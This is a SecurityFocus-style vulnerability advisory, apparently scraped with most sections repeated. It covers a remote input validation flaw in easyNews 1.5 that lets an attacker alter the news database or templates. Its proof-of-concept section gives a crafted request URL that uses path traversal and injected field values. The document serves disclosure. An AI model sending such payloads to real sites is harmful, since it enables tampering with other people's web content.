EasyNews NewsDatabase/Template Modification Vulnerability
BID:3643
Info
EasyNews NewsDatabase/Template Modification Vulnerability
| Bugtraq ID: | 3643 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 01 2001 12:00AM |
| Updated: | Dec 01 2001 12:00AM |
| Credit: | This vulnerability was submitted to BugTraq on December 1st, 2001 by "markus arndt" <[email protected]>. |
| Vulnerable: |
easyScripts easyNews 1.5 |
| Not Vulnerable: | |
Discussion
EasyNews NewsDatabase/Template Modification Vulnerability
EasyNews is a free, open-source script for displaying news stories on a website.
EasyNews is prone to a vulnerability which may allow a remote attacker to modify information in its Newsdatabase. As a result, a remote attacker may post unmoderated comments or possibly modify information in the templates used by EasyNews.
This may be exploited via a specially crafted web request.
Earlier versions may also be vulnerable.
EasyNews is a free, open-source script for displaying news stories on a website.
EasyNews is prone to a vulnerability which may allow a remote attacker to modify information in its Newsdatabase. As a result, a remote attacker may post unmoderated comments or possibly modify information in the templates used by EasyNews.
This may be exploited via a specially crafted web request.
Earlier versions may also be vulnerable.
Exploit / POC
EasyNews NewsDatabase/Template Modification Vulnerability
The following example was submitted by "markus arndt" <[email protected]>:
http://[target]/index.php?action=comments&do=save&id=1&cid=../news&name=11/1
1/11&kommentar=%20&email=hax0r&zeit=you%20suck,11:11,../news,bugs@securityal
ert.com&datum=easynews%20exploited
The following example was submitted by "markus arndt" <[email protected]>:
http://[target]/index.php?action=comments&do=save&id=1&cid=../news&name=11/1
1/11&kommentar=%20&email=hax0r&zeit=you%20suck,11:11,../news,bugs@securityal
ert.com&datum=easynews%20exploited
Solution / Fix
EasyNews NewsDatabase/Template Modification Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
EasyNews NewsDatabase/Template Modification Vulnerability
References:
References:
- easyNews Product Page (easyScripts)